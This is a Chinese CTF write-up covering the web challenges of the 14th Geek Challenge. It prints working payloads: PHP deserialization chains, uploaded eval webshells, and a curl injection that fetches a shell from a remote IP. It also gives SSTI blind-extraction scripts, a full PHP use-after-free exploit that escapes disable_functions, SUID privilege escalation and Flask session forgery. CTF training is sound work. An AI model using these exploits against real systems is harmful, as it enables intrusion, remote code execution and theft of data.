本文主要是介绍十四届极客大挑战web部分wp,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
Web
EzHttp
请求头大全
https://blog.csdn.net/weixin_45948229/article/details/122527709
源码提示
查看robots.txt
访问得到密码
登录得到提示
然后添加各种请求头
Via表示代理
$_SERVER['HTTP_O2TAKUXX']表示请求头O2TAKUXX
只有O2TAKUXX为GiveMeFlag才会输出flag
加上请求头得到flag SYC{HttP_1s_E@sY}
Unsign
简单的反序列化
构造
<?phphighlight_file(__FILE__);class syc{public $cuit;public function __destruct(){echo("action!<br>");$function=$this->cuit;return $function();}}class lover{public $yxx;public $QW;public function __invoke(){echo("invoke!<br>");return $this->yxx->QW;}}class web{public $eva1;public $interesting;public function __get($var){echo("get!<br>");$eva1=$this->eva1;$eva1($this->interesting);}}$a=new syc();$b=new lover();$c=new web();$b->yxx=$c;$c->eva1='system';$c->interesting='ls /;cat /flag';$a->cuit=$b;var_dump(serialize($a));?>
得到
获得flag SYC{Jpliu6cxK0CeeEUXBf}
n00b_Upload
搞一个图片马,结尾写上马
上传抓包改后缀为php,并把马改成<?=eval($_POST['a']);因为对php过滤了。
上传得到路径
这道题不能用蚁剑连,要手输。
看根目录得到flag SYC{L35OvStLIWQNQblEGN}
easy_php
上来给源码
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__FILE__);
include_once('flag.php');
if(isset($_GET['syc'])&&preg_match('/^Welcome to GEEK 2023!$/i', $_GET['syc']) && $_GET['syc'] !== 'Welcome to GEEK 2023!') {
if (intval($_GET['lover']) < 2023 && intval($_GET['lover'] + 1) > 2024) {
if (isset($_POST['qw']) && $_POST['yxx']) {
$array1 = (string)$_POST['qw'];
$array2 = (string)$_POST['yxx'];
if (sha1($array1) === sha1($array2)) {
if (isset($_POST['SYC_GEEK.2023'])&&($_POST['SYC_GEEK.2023']="Happy to see you!")) {
echo $flag;
} else {
echo "再绕最后一步吧";
}
} else {
echo "好哩,快拿到flag啦";
}
} else {
echo "这里绕不过去,QW可不答应了哈";
}
} else {
echo "嘿嘿嘿,你别急啊";
}
}else {
echo "不会吧不会吧,不会第一步就卡住了吧,yxx会瞧不起你的!";
}
?>
第一个if利用 preg_match在非多行模式下,$似乎会忽略在句尾的%0a
?构造syc=Welcome to GEEK 2023!%0a绕过
第二个if利用intval科学计数法绕过参考
https://blog.csdn.net/krafcc/article/details/134173212
echo intval(1e10); // 1410065408
echo intval('1e10'); // 1
echo intval('1e10'+1); // 1410065409
构造lover=1e4
第三个if构造qw=1&yxx=1
第四个if利用php特性会把参数的特殊字符转化为_而[出现后后面的点号不会再被转义构造
SYC[GEEK.2023=Happy to see you!
最终payload
?syc=Welcome%20to%20GEEK%202023!%0a&lover=1e4
qw=1&yxx=1&SYC[GEEK.2023=Happy to see you!
ctf_curl
<?php
highlight_file('index.php');
// curl your domain
// flag is in /tmp/Syclover
if (isset($_GET['addr'])) {
$address = $_GET['addr'];
if(!preg_match("/;|f|:|\||\&|!|>|<|`|\(|{|\?|\n|\r/i", $address)){
$result = system("curl ".$address."> /dev/null");
} else {
echo "Hacker!!!";
}
}
?>
没有回显但可下载文件curl -o 参数可以下载
Payload ?addr=47.115.224.138/shell.txt -o shell.php
ip为公网ip上传木马
访问shell.php然后命令执行
klf_ssti
源码提示hack
访问hack
Get传参klf回显个图片
注入也回显图片,但错误注入会报错
判断可以报错注入,但我这里是时间盲注
给出脚本主要用了爆破eval位置和爆破flag,爆破flag可以修改命令参数ls爆破目录
import requests
import time#爆破 eval() 位置
#转义符 \ 用于解决双引号 "" 闭合问题
PAYLOAD_LAST = ".__init__.__globals__['__builtins__']['eval']('__import__(\"time\").sleep(3)')}}"
url = input("请输入 URL:")
# POST 参数可以抓包或查看源代码
request_parameter = input("请输入请求参数:")
for i in range(500):# 发送请求并记录开始时间start_time = time.time()data = {request_parameter: " {{().__class__.__base__.__subclasses__()[" + str(i) + "].__init__.__globals__['__builtins__']['eval']('__import__(\"time\").sleep(3)')}} "}# post data 也可以改成这样,原因见{{}}过滤的绕过方法# {"name":"{%print(().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']['eval']('__import__(\"time\").sleep(3)'))%}"}response = requests.get(url, params=data)end_time = time.time()# 计算响应时间response_time = end_time - start_time# 如果响应时间大于 3s ,则绿色字体输出在控制台if response_time >= 3:print("\033[32m bingo: " + str(i) + "\033[0m", end="\t")# 如果响应时间小于 3s ,则红色字体输出在控制台,一般建议注释掉错误输出,因为这会降低爆破速度else:print("\033[31mnonono: " + str(i) + "\033[0m", end="\t")# 通过脚本爆破 flag 长度
url = input("请输入 URL:")
request_parameter = input("请输入请求参数:")
for len in range(1, 40):start_time = time.time()data = {request_parameter: "{%set flag=().__class__.__base__.__subclasses__()[66].__init__.__globals__['__builtins__']['eval']('__import__(\"os\").popen(\"cat flag\").read()')%}{% set l=flag|length %}{%if l==" + str(len) + "%}{{().__class__.__base__.__subclasses__()[66].__init__.__globals__['__builtins__']['eval']('__import__(\"time\").sleep(3)')}}{%endif%}"}response = requests.get(url, params=data)end_time = time.time()# 计算响应时间response_time = end_time - start_timeif response_time >= 3:print("\033[32m" + str(len) + "\033[0m", end="\t")else:print("\033[31m" + str(len) + "\033[0m", end="\t")# for i in range(200):
# payload = "{{().__class__.__base__.__subclasses__()[" + str(i) + "].__init__.__globals__['__builtins__']['eval']}}"
# url = 'https://wln492rb2arqlrx8h9vfbp516.node.game.sycsec.com/hack?klf=' + payload
# r = requests.get(url)
# if 'klf别想' in r.text:
# print(i)# 爆破flag
url = input("请输入 URL:")
request_parameter = input("请输入请求参数:")
cs = " !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~"
flag = ""
# range() 参数为 脚本2 得到的 flag 长度
for i in range(200):low = 0high = len(cs)while low < high:index = low + (high - low) // 2start_time = time.time()# request_parameter 为 post 传入数据的参数名,根据实际情况输入data = {request_parameter: "{%set flag=().__class__.__base__.__subclasses__()[66].__init__.__globals__['__builtins__']['eval']('__import__(\"os\").popen(\"cat ../../fl4gfl4gfl4g\").read()')%}{%if flag[" + str(i) + "]=='" + cs[index] + "'%}{{().__class__.__base__.__subclasses__()[66].__init__.__globals__['__builtins__']['eval']('__import__(\"time\").sleep(2)')}}{%elif flag[" + str(i) + "]>'" + cs[index] + "'%}{{().__class__.__base__.__subclasses__()[66].__init__.__globals__['__builtins__']['eval']('__import__(\"time\").sleep(4)')}}{%endif%}"}response = requests.get(url, params=data)end_time = time.time()# 计算响应时间response_time = end_time - start_timeif response_time >= 2 and response_time <= 4:flag += cs[index]print(cs[index], end='\t')low = highelif response_time > 4:low = index + 1else:high = index
print("\n" + flag)
最后爆出目录,执行命令cat ../../fl4gfl4gfl4g爆出flag时间有点漫长
ez_remove
<?php
highlight_file(__FILE__);
class syc{
public $lover;
public function __destruct()
{
eval($this->lover);
}
}
if(isset($_GET['web'])){
if(!preg_match('/lover/i',$_GET['web'])){
$a=unserialize($_GET['web']);
throw new Error("快来玩快来玩~");
}
else{
echo("nonono");
}
}
?>
反序列化但有抛出异常,需要绕过不然__destruct不会执行。
利用php GC垃圾回收机制让__destruc提前触发。
<?phpshow_source(__FILE__);class syc{public $lover="system('whoami')";public function __destruct(){eval($this->lover);}}$a=array(new syc,0);//$a=new syc;echo serialize($a);//echo urlencode('lover');
得到a:2:{i:0;O:3:"syc":1:{s:5:"lover";s:16:"system('whoami')";}i:1;i:0;}
把最后的大括号去掉或者把i:0改为i:1就可以提前触发
但过滤了lover,需要编码绕过
a:2:{i:0;O:3:%22syc%22:1:{S:5:%22\6c\6f\76\65\72%22;s:18:%22eval($_POST[%27a%27]);%22;}i:1;i:0;
其中s改成大写会把后面字符当做16进制处理
成功执行
post传参a=phpinfo();发现disable_functions过滤了
system,exec,shell_exec,fopen,pcmtl_exe,passthru,popen
采用a=var_dump(scandir(‘/’));发现报错open_basedir restriction in effect.
需要绕过open_basedir用uaf绕过
用其他大佬的payload
function ctfshow($cmd) {global $abc, $helper, $backtrace;class Vuln {public $a;public function __destruct() {global $backtrace;unset($this->a);$backtrace = (new Exception)->getTrace();if(!isset($backtrace[1]['args'])) {$backtrace = debug_backtrace();}}}class Helper {public $a, $b, $c, $d;}function str2ptr(&$str, $p = 0, $s = 8) {$address = 0;for($j = $s-1; $j >= 0; $j--) {$address <<= 8;$address |= ord($str[$p+$j]);}return $address;}function ptr2str($ptr, $m = 8) {$out = "";for ($i=0; $i < $m; $i++) {$out .= sprintf("%c",($ptr & 0xff));$ptr >>= 8;}return $out;}function write(&$str, $p, $v, $n = 8) {$i = 0;for($i = 0; $i < $n; $i++) {$str[$p + $i] = sprintf("%c",($v & 0xff));$v >>= 8;}}function leak($addr, $p = 0, $s = 8) {global $abc, $helper;write($abc, 0x68, $addr + $p - 0x10);$leak = strlen($helper->a);if($s != 8) { $leak %= 2 << ($s * 8) - 1; }return $leak;}function parse_elf($base) {$e_type = leak($base, 0x10, 2);$e_phoff = leak($base, 0x20);$e_phentsize = leak($base, 0x36, 2);$e_phnum = leak($base, 0x38, 2);for($i = 0; $i < $e_phnum; $i++) {$header = $base + $e_phoff + $i * $e_phentsize;$p_type = leak($header, 0, 4);$p_flags = leak($header, 4, 4);$p_vaddr = leak($header, 0x10);$p_memsz = leak($header, 0x28);if($p_type == 1 && $p_flags == 6) {$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;$data_size = $p_memsz;} else if($p_type == 1 && $p_flags == 5) {$text_size = $p_memsz;}}if(!$data_addr || !$text_size || !$data_size)return false;return [$data_addr, $text_size, $data_size];}function get_basic_funcs($base, $elf) {list($data_addr, $text_size, $data_size) = $elf;for($i = 0; $i < $data_size / 8; $i++) {$leak = leak($data_addr, $i * 8);if($leak - $base > 0 && $leak - $base < $data_addr - $base) {$deref = leak($leak);if($deref != 0x746e6174736e6f63)continue;} else continue;$leak = leak($data_addr, ($i + 4) * 8);if($leak - $base > 0 && $leak - $base < $data_addr - $base) {$deref = leak($leak);if($deref != 0x786568326e6962)continue;} else continue;return $data_addr + $i * 8;}}function get_binary_base($binary_leak) {$base = 0;$start = $binary_leak & 0xfffffffffffff000;for($i = 0; $i < 0x1000; $i++) {$addr = $start - 0x1000 * $i;$leak = leak($addr, 0, 7);if($leak == 0x10102464c457f) {return $addr;}}}function get_system($basic_funcs) {$addr = $basic_funcs;do {$f_entry = leak($addr);$f_name = leak($f_entry, 0, 6);if($f_name == 0x6d6574737973) {return leak($addr + 8);}$addr += 0x20;} while($f_entry != 0);return false;}function trigger_uaf($arg) {$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');$vuln = new Vuln();$vuln->a = $arg;}if(stristr(PHP_OS, 'WIN')) {die('This PoC is for *nix systems only.');}$n_alloc = 10;$contiguous = [];for($i = 0; $i < $n_alloc; $i++)$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');trigger_uaf('x');$abc = $backtrace[1]['args'][0];$helper = new Helper;$helper->b = function ($x) { };if(strlen($abc) == 79 || strlen($abc) == 0) {die("UAF failed");}$closure_handlers = str2ptr($abc, 0);$php_heap = str2ptr($abc, 0x58);$abc_addr = $php_heap - 0xc8;write($abc, 0x60, 2);write($abc, 0x70, 6);write($abc, 0x10, $abc_addr + 0x60);write($abc, 0x18, 0xa);$closure_obj = str2ptr($abc, 0x20);$binary_leak = leak($closure_handlers, 8);if(!($base = get_binary_base($binary_leak))) {die("Couldn't determine binary base address");}if(!($elf = parse_elf($base))) {die("Couldn't parse ELF header");}if(!($basic_funcs = get_basic_funcs($base, $elf))) {die("Couldn't get basic_functions address");}if(!($zif_system = get_system($basic_funcs))) {die("Couldn't get zif_system address");}$fake_obj_offset = 0xd0;for($i = 0; $i < 0x110; $i += 8) {write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));}write($abc, 0x20, $abc_addr + $fake_obj_offset);write($abc, 0xd0 + 0x38, 1, 4);write($abc, 0xd0 + 0x68, $zif_system);($helper->b)($cmd);exit();}ctfshow("ls /");ob_end_flush();?>
url编码后传入
改命令为Cat /f1ger得到flag SYC{suWgnuq8cpTtRNnHql}
ez_path
反编译得到代码
# uncompyle6 version 3.8.0# Python bytecode 3.6 (3379)# Decompiled from: Python 3.7.0 (default, Nov 25 2022, 11:07:23)# [GCC 4.8.5 20150623 (Red Hat 4.8.5-44)]# Embedded file name: ./tempdata/96e9aea5-79fb-4a2f-a6b9-d4f3bbf3c906.py# Compiled at: 2023-08-26 01:33:29# Size of source mod 2**32: 2076 bytesimport os, uuidfrom flask import Flask, render_template, request, redirectapp = Flask(__name__)ARTICLES_FOLDER = 'articles/'articles = []class Article:def __init__(self, article_id, title, content):self.article_id = article_idself.title = titleself.content = contentdef generate_article_id():return str(uuid.uuid4())@app.route('/')def index():return render_template('index.html', articles=articles)@app.route('/upload', methods=['GET', 'POST'])def upload():if request.method == 'POST':title = request.form['title']content = request.form['content']article_id = generate_article_id()article = Article(article_id, title, content)articles.append(article)save_article(article_id, title, content)return redirect('/')else:return render_template('upload.html')@app.route('/article/<article_id>')def article(article_id):for article in articles:if article.article_id == article_id:title = article.titlesanitized_title = sanitize_filename(title)article_path = os.path.join(ARTICLES_FOLDER, sanitized_title)with open(article_path, 'r') as (file):content = file.read()return render_template('articles.html', title=sanitized_title, content=content, article_path=article_path)return render_template('error.html')def save_article(article_id, title, content):sanitized_title = sanitize_filename(title)article_path = ARTICLES_FOLDER + '/' + sanitized_titlewith open(article_path, 'w') as (file):file.write(content)def sanitize_filename(filename):sensitive_chars = [':', '*', '?', '"', '<', '>', '|', '.']for char in sensitive_chars:filename = filename.replace(char, '_')return filenameif __name__ == '__main__':app.run(debug=True)# okay decompiling /tmp/655ed4512069f.pyc
这里把传入的title参数经过sanitize_filename过虑在os.path.join把articles/和title拼接
这里os.path.join存在漏洞
os.path.join(path1,path2)
如果path2的第一个字符是‘/’,那么返回的拼接路径中path1并没有包含。
也就是返回的路径为path2
我们现在只需知道flag路径就可以得到flag
F12看源码得到提示
构造title为/f14444然后点击访问得到flag SYC{vAd3ntyVyg7ha1n0pg}
you konw flask?
这题是flask 伪造session
先注册一个用户登录
我们要伪造教练身份登录
扫描目录发现robots.txt
查看发现/3ysd8.html目录访问查看源码得到secret_key
app.secret_key = 'wanbao'+base64.b64encode(str(random.randint(1, 100)).encode('utf-8')).decode('utf-8')+'wanbao'
用脚本跑
把登录后的cookie复制替换
#!/usr/bin/env python3
""" Flask Session Cookie Decoder """
import base64
import random
import zlib
from itsdangerous import base64_decode
import ast
import os
from flask.sessions import SecureCookieSessionInterfaceclass MockApp(object):def __init__(self, secret_key):self.secret_key = secret_keyclass FSCM:def encode(secret_key, session_cookie_structure):""" Encode a Flask session cookie """try:app = MockApp(secret_key)session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))si = SecureCookieSessionInterface()s = si.get_signing_serializer(app)return s.dumps(session_cookie_structure)except Exception as e:return "[Encoding error] {}".format(e)@staticmethoddef decode(session_cookie_value, secret_key=None):try:if secret_key is None:compressed = Falsepayload = session_cookie_valueif payload.startswith('.'):compressed = Truepayload = payload[1:]data = payload.split(".")[0]data = base64_decode(data)if compressed:data = zlib.decompress(data)return dataelse:app = MockApp(secret_key)si = SecureCookieSessionInterface()s = si.get_signing_serializer(app)return s.loads(session_cookie_value)except Exception as e:return "[Decoding error] {}".format(e)if __name__ == "__main__":cnt = 1# key = "wanbaoMjU=wanbao"# print(FSCM.encode(key, "{'is_admin': True, 'name': 'w1eat', 'user_id': 2}"))while True:cookie_value = 'eyJpc19hZG1pbiI6ZmFsc2UsIm5hbWUiOiJ3MWVhdCJ9.ZV77PA.BkqePOXAYWF71CWfFOk3UTsgGEo'secret_key = 'wanbao'+base64.b64encode(str(random.randint(1, 100)).encode('utf-8')).decode('utf-8')+'wanbao'if secret_key:result = FSCM.decode(cookie_value, secret_key)else:result = FSCM.decode(cookie_value)cnt += 1print(result, cnt)if 'is_admin' in result:print(result, secret_key, 'YES')break
得到secret_key
wanbaoNg==wanbao
然后伪造{'is_admin': True, 'name': 'w1eat', 'user_id': 2}
得到cookie替换原cookie成功伪造教练得到flag SYC{0Hwo90jpxJGcAvWqtj}
Pupyy_rce
无参rce过滤了env|var|session|header只有dirname访问了
查看当前目录文件print_r(scandir(getcwd()));
fl@g.php在中间不好用pos,next这些函数获取了只能随机访问
show_source(array_rand(array_flip(scandir(getcwd()))));
多访问几遍就得到flag了 SYC{fwu5pvBsYluvQq6XJ6}
famale_imp_l0ve
源码提示include.php访问发现文件包含,可以把txt,zip当做php文件
但必须要是.jpg后缀才能包含
<?php
header('Content-Type: text/html; charset=utf-8');
highlight_file(__FILE__);
$file = $_GET['file'];
if(isset($file) && strtolower(substr($file, -4)) == ".jpg"){
include($file);
}
?>
考虑00截断但\x00的截断在php>5.3.4就没用了
只有php伪协议
这种情况下就可以使用phar://或zip://
Payload zip://1.zip#1.jpg
zip和phar不同的是zip必须使用绝对路径(在指定压缩包位置的时候),而phar可以使用相对路径也可以使用绝对路径
先上传一个木马图片压缩后的压缩包记住路径等会要包含
Include.php构造payload ?file=zip://upload/1.zip%231.jpg
post传参a=system(‘cat /flag’);得到flag;
EzRce
过滤了一些字符
爆破出来然后把可见的字符构成t,然后异或绕过
import requests
from requests_toolbelt.utils.formdata import urlencodevalid = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@$%^*(){}[];\'\",.<>/?-=_`~ "
t = '<=>?@AELV[\]^_`aelv|!"#$%&\'()*+,-./:;¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖרÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ'
# t = ''
# url = 'https://kdo71vl9o2bd37o0chzdl5o94.node.game.sycsec.com/?data='
# for i in range(256):
# url = 'https://kdo71vl9o2bd37o0chzdl5o94.node.game.sycsec.com/?data=' + chr(i)
# r = requests.get(url)
# if "</code>no!" not in r.text:
# t += chr(i)
print(t)
while True:answer = str(input("请输入进行异或构造的字符串:"))tmp1, tmp2 = '', ''for c in answer:for i in t:for j in t:if (ord(i) ^ ord(j) == ord(c)):tmp1 += itmp2 += jbreakelse:continuebreakprint("tmp1为:", tmp1)print("tmp2为:", tmp2)
eval没过滤构造eval(eval($_POST[‘a’]);)
Payload eval((%22%3EL%3C@^A%3E%3C`?v%3E[%3C[%3CE[%22^%22[:],veal/l\%22e|]|al`%22));
也可以通过无参rce中session_id我试过很麻烦
Post传参a=phpinfo();
发现disable_function
过滤了很多函数但没有过滤proc_open()
构造payload
a=$command="ls"; $descriptorspec = array(1 => array("pipe", "w")); $handle = proc_open($command ,$descriptorspec , $pipes); while(!feof($pipes[1])) { echo fread($pipes[1], 1024);}
但是执行tac /flag时反应file /flag发现没权限
开始suid提权
find / -perm -u=s -type f 2>/dev/null查找root权限的命令
touch anyfile #必须要有这个文件
find anyfile -exec whoami \;
Cat /flag得到flag SYC{ThE_RCe is S0 Eas1ly_DD!}
scan_tool
传入127.0.0.1’发现对’转义了
抓包发送空字符发现报错
应该是escapeshellarg()和escapeshellcmd()漏洞
传入的参数是:172.17.0.2' -v -d a=1
经过escapeshellarg处理后变成了'172.17.0.2'\'' -v -d a=1',即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
经过escapeshellcmd处理后变成'172.17.0.2'\\'' -v -d a=1\',这是因为escapeshellcmd对\以及最后那个不配对儿的引号进行了转义
最后执行的命令是curl '172.17.0.2'\\'' -v -d a=1\',由于中间的\\被解释为\而不再是转义字符,所以后面的'没有被转义,与再后面的'配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1',即向172.17.0.2\发起请求,POST 数据为a=1'。
Nmap 可以写入文件和读文件
这道题对?过滤了写马方式行不通
只有读文件
-oN 标准保存
-oX XML保存
-oG Grep保存
-oA 保存到所有格式
-iL 从文件读取
Payload ' 127.0.0.1 '可以让转义后的单引号闭合
这道题还过滤了危险参数不能用-iL了但可以用-i
Payload ip=' 127.0.0.1 -i /flag -oA 1 '
访问1.nmap得到flag SYC{YSJBpSvTpEggTvq0dG}
klf_2
扫描网站得到robots.txt有一个/secr3ttt目录
访问传入klf参数
发现可以回显
测试{{1}}注入回显1
存在ssti注入
测试得到过滤了单引号,双引号,中括号,下划线,和一些数字
参考https://blog.csdn.net/weixin_52635170/article/details/129850863
获取下划线
通过lipsum|string|list中获取。
{%print lipsum|string|list%}
获取pop方法
pop被过滤了要通过拼接获取
{%set pop=dict(po=a,p=b)|join%}
得到下划线
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(24)%}
os字符,get,popen,read字符串都通过pop=dict(ge=a,t=b)|join方法获取
{%set shell=dict(o=a,s=b)|join%}
{%set get=dict(get=a)|join%}
{%set po=dict(po=a,pen=b)|join%}
{%set re=dict(re=a,ad=b)|join%}
获得__globals__
{%set g=dict(glo=a,bals=b)|join%}
{%set go=(xiahuaxian,xiahuaxian,g,xiahuaxian,xiahuaxian)|join%}
构造执行命令
cmd=dict(wh=a,oami=b)|join%}
但是当要执行ls /和ls ../发现执行失败过滤了空格和/和.
{%set result=(lipsum|attr(go))|attr(get)(shell)|attr(po)(cmd)|attr(re)()%}{%print result%}
考虑构造char获取字符来绕过
__builtins__构造
{%set bu=(xiahuaxian,xiahuaxian,dict(buil=a,tins=b)|join,xiahuaxian,xiahuaxian)|join%}
获取chr模块,chr也被过滤了
{%set ch=dict(c=a,hr=b)|join%}
{%set char=(lipsum|attr(go))|attr(get)(bu)|attr(get)(ch)%}
Char(32),char(46)分别为空格和点
但/不能构造因为47被过滤了
但是可以通过字符串类型转换绕过
{%set fxg2=(4,7)|join|int%}
{%set fxg=char(fxg2)%}
构造一个文件变量来访问文件
{%set fil=dict(flag=b)|join%}
最后构造命令ls ./发现flag文件但是假的
cmd=dict(l=a,s=b)|join%}
{%set cmd2=(cmd,char(32),char(46),fxg)|join%}
构造ls ../../发现fl4gfl4gfl4g
cmd=dict(l=a,s=b)|join%}
{%set cmd2=(cmd,char(32),char(46),char(46),fxg,char(46),char(46),fxg)|join%}
最后构造cat ../../fl4gfl4gfl4g得到flag
最终payload
{%set p=dict(po=a,p=b)|join%}{%set xiahuaxian=(lipsum|string|list)|attr(p)(24)%}{%set g=dict(glo=a,bals=b)|join%}{%set go=(xiahuaxian,xiahuaxian,g,xiahuaxian,xiahuaxian)|join%}{%set shell=dict(o=a,s=b)|join%}{%set get=dict(get=a)|join%}{%set po=dict(po=a,pen=b)|join%}{%set bu=(xiahuaxian,xiahuaxian,dict(buil=a,tins=b)|join,xiahuaxian,xiahuaxian)|join%}{%set ch=dict(c=a,hr=b)|join%}{%set char=(lipsum|attr(go))|attr(get)(bu)|attr(get)(ch)%}{%set cmd=dict(c=a,at=b)|join%}{%set re=dict(re=a,ad=b)|join%}{%set fxg2=(4,7)|join|int%}{%set fxg=char(fxg2)%}{%set fil=dict(fl4gfl4gfl4g=b)|join%}{%set cmd2=(cmd,char(32),char(46),char(46),fxg,char(46),char(46),fxg,fil)|join%}{%set result=(lipsum|attr(go))|attr(get)(shell)|attr(po)(cmd2)|attr(re)()%}{%print result%}
klf_3
Klf_2的payload直接能用
Ezpython
下载源码发现merge合并函数
和Javascript原型链污染差不多,原型链污染需要merge合并函数,通过递归合并来修改父级属性
但这道题可以不用污染直接替换
比如
src = {
'key1': 'value1',
'key2': {
'nested_key1': 'nested_value1',
'nested_key2': 'nested_value2'
},
'key3': 'value3'
}
dst = {
'key1': 'original_value1',
'key4': 'original_value4'
}
我们可以调用 merge(src, dst) 来合并这两个字典:
merge(src, dst)
合并后的 dst 字典的内容如下:
{
'key1': 'value1',
'key2': {
'nested_key1': 'nested_value1',
'nested_key2': 'nested_value2'
},
'key3': 'value3',
'key4': 'original_value4'
}
import jsonimport osfrom waf import wafimport importlibfrom flask import Flask,render_template,request,redirect,url_for,session,render_template_stringapp = Flask(__name__)app.secret_key='jjjjggggggreekchallenge202333333'class User():def __init__(self):self.username=""self.password=""self.isvip=Falseclass hhh(User):def __init__(self):self.username=""self.password=""registered_users=[]@app.route('/')def hello_world(): # put application's code herereturn render_template("welcome.html")@app.route('/play')def play():username=session.get('username')if username:return render_template('index.html',name=username)else:return redirect(url_for('login'))@app.route('/login',methods=['GET','POST'])def login():if request.method == 'POST':username=request.form.get('username')password=request.form.get('password')user = next((user for user in registered_users if user.username == username and user.password == password), None)if user:session['username'] = user.usernamesession['password']=user.passwordreturn redirect(url_for('play'))else:return "Invalid login"return redirect(url_for('play'))return render_template("login.html")@app.route('/register',methods=['GET','POST'])def register():if request.method == 'POST':try:if waf(request.data):return "fuck payload!Hacker!!!"data=json.loads(request.data)if "username" not in data or "password" not in data:return "连用户名密码都没有你注册啥呢"user=hhh()merge(data,user)registered_users.append(user)except Exception as e:return "泰酷辣,没有注册成功捏"return redirect(url_for('login'))else:return render_template("register.html")@app.route('/flag',methods=['GET'])def flag():user = next((user for user in registered_users if user.username ==session['username'] and user.password == session['password']), None)if user:if user.isvip:data=request.args.get('num')if data:if '0' not in data and data != "123456789" and int(data) == 123456789 and len(data) <=10:flag = os.environ.get('geek_flag')return render_template('flag.html',flag=flag)else:return "你的数字不对哦!"else:return "I need a num!!!"else:return render_template_string('这种神功你不充VIP也想学?<p><img src="{{url_for(\'static\',filename=\'weixin.png\')}}">要不v我50,我送你一个VIP吧,嘻嘻</p>')else:return "先登录去"def merge(src, dst):for k, v in src.items():if hasattr(dst, '__getitem__'):if dst.get(k) and type(v) == dict:merge(v, dst.get(k))else:dst[k] = velif hasattr(dst, k) and type(v) == dict:merge(v, getattr(dst, k))else:setattr(dst, k, v)if __name__ == '__main__':app.run(host="0.0.0.0",port="8888")
构造payload用python发送
因为过滤了isvip可通过unicode编码,16进制编码,8进制编码绕过
因为是python发送所有/要转义
十六进制:\\x69\\x73\\x76\\x69\\x70
八进制:\\151\\163\\166\\151\\160
paload1 = {
"username": "admin2",
"password": "123456",
"__init__": {
"__globals__": {
"User": {
"\u0069\u0073\\u0076\u0069\u0070": “1”
}
}
}
}
paload2 = {
"username": "admin2",
"password": "123456",
"\u0069\u0073\u0076\u0069\u0070": “1”
}
data1和data2都可以,data1是污染链
可以用burp抓包sendRepeater不能使用只能intercept修改
访问/flag传入参数num=+123456789
Int(“+123456789”)会转化为123456789
get传参得到flag
Akane!
一来得到源码,一眼php反序列化
count(scandir($this->Akane))为要执行的危险函数
<?php
error_reporting(0);
show_source(__FILE__);
class Hoshino
{public $Ruby;private $Aquamarine;public function __destruct(){$this->Ruby->func();}
}class Idol
{public $Akane;public function __wakeup(){$this->Akane = '/var/www/html/The************************.php';}public function __call($method,$args){$Kana = count(scandir($this->Akane));if ($Kana > 0) {die('Kurokawa Akane');} else {die('Arima Kana');}}
}$a = unserialize(base64_decode($_GET['tuizi']));?>
__wakeup() 是 PHP 中一个特殊的魔术方法。它在反序列化一个对象时被自动调用,允许开发者在对象从序列化格式还原为可用的 PHP 对象之前对其进行某些特殊处理。这个方法可以接受任意的参数,但在实际使用中,它通常不需要参数。
所以需要绕过__wakeup()防止$Akane;被重定义
当反序列化字符串中,表示属性个数的值⼤于真实属性个数时,会绕过 __wakeup 函数的执⾏"Hoshino":2:改为。"Hoshino":3:
O:7:"Hoshino":3:{s:4:"Ruby";O:4:"Idol":1:{s:5:"Akane";s:11:"glob://./The*";}s:19:"HoshinoAquamarine";N;}
但是这道题scandir没有回显只有
if ($Kana > 0) {
die('Kurokawa Akane');
} else {
die('Arima Kana');
}
判断
因此需要利用返回的字符串中是否存在 flag 文件字符串,这里可以通过glob协议利用匹配符号进行猜解, glob协议能够查找匹配的文件路径模式,当目标匹配不存在时会返回⻓度为0的数组,因此在这个地方能够通过不同的回显进行盲注。
比如var_dump(scandir(‘glob://./flag.php’));
如果当前路径没有flag.php会返回
array(0) {
}
因此count(scandir(‘glob://./flag.php’))的值为0
如果存在文件返回
array(1) {
[0]=>
string(4) "f1ag"
}
count(scandir(‘glob://./flag.php’))为1
因此可以通过盲注判断文件路径
/var/www/html/The************************.php
盲注脚本
import base64import requestsurl = 'https://xwy5nanf86d2mzhaqkuvhphku.node.game.sycsec.com/?tuizi='
flag = 'The'
for _ in range(1, 40):for i in range(32, 128):if i == 37 or i == 42 or i == 63 or i==62:continuepayload = 'O:7:"Hoshino":3:{s:4:"Ruby";O:4:"Idol":1:{s:5:"Akane";s:'+str(13+_)+':"glob://./'+flag+chr(i)+'*";}s:19:"HoshinoAquamarine";N;}'#print(url+param)# print(payload)payload = base64.b64encode(payload.encode())# print(payload.decode())res = requests.get(url + payload.decode())if 'Kurokawa Akane' in res.text:flag += chr(i)print(flag)break# 最后得到路径# flag_fecd0d9b-2852-497d-b829-0c5bf11c5021
# S4crEtF1AgFi1EByo2tak
# The************************.php
# TheS4crEtF1AgFi1EByo2takuXX.php
访问TheS4crEtF1AgFi1EByo2takuXX.php得到flag
这篇关于十四届极客大挑战web部分wp的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!